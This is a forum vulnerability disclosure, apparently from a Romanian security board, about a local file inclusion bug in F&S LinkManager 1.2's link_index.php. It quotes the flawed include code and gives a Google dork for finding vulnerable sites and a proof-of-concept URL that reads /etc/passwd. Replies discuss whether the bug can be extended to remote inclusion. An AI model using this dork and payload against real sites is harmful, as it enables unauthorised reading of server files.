[RST] [LFI]F&S LinkManager 1.2 Final Gold Edition

[Guest Kenpachi]

Software : F&S LinkManager 1.2 Final Gold Edition
BUG Type : Local File Inclusion
BUG In   : link_index.php
BUg      :

$show = $HTTP_GET_VARS['show'];

if ($show == ""){
	[...]
}
else {
[RFI FILTER 
$oldshow = $show;
$oldsize = strlen($show);
$show = str_replace("http://", "" , $show);
$show = str_replace("www", "" , $show);
$show = str_replace("ftp://", "" , $show);
$show = str_replace("https://", "" , $show);
$newsize = strlen($show);

if($oldsize == $newsize)
{
[NO LFI FILTER ]
include "$show";
}

Google Dork : inurl:"link_index.php?show"

POC : [url]www.example.com/[/url][path]/link_index.php?show=/etc/passwd


//Kenpachi @ RSTCENTER.COM
NO GREETS, JUST ME

la recomandarea lui stroke uitati si link sa downloadati softwareul in cauza :
[url]http://rapidshare.com/files/138499333/linklist.zip.html[/url]

[kw3rln]

nice find

cam copaci programatorii aia

else {
[RFI FILTER 
$oldshow = $show;
$oldsize = strlen($show);
$show = str_replace("http://", "" , $show);
$show = str_replace("www", "" , $show);
$show = str_replace("ftp://", "" , $show);
$show = str_replace("https://", "" , $show);
$newsize = strlen($show);

if($oldsize == $newsize)
{
[NO LFI FILTER ] 

[praitrok]

Nu poate fi si remote file inclusion daca se incearca httphttp://:// ?

[kw3rln]

Nu poate fi si remote file inclusion daca se incearca httphttp://:// ?

nunu .. ca atunci nu mai include $show .. nu mai respecta conditia new=old

[Guest Kenpachi]

welcome captain obvious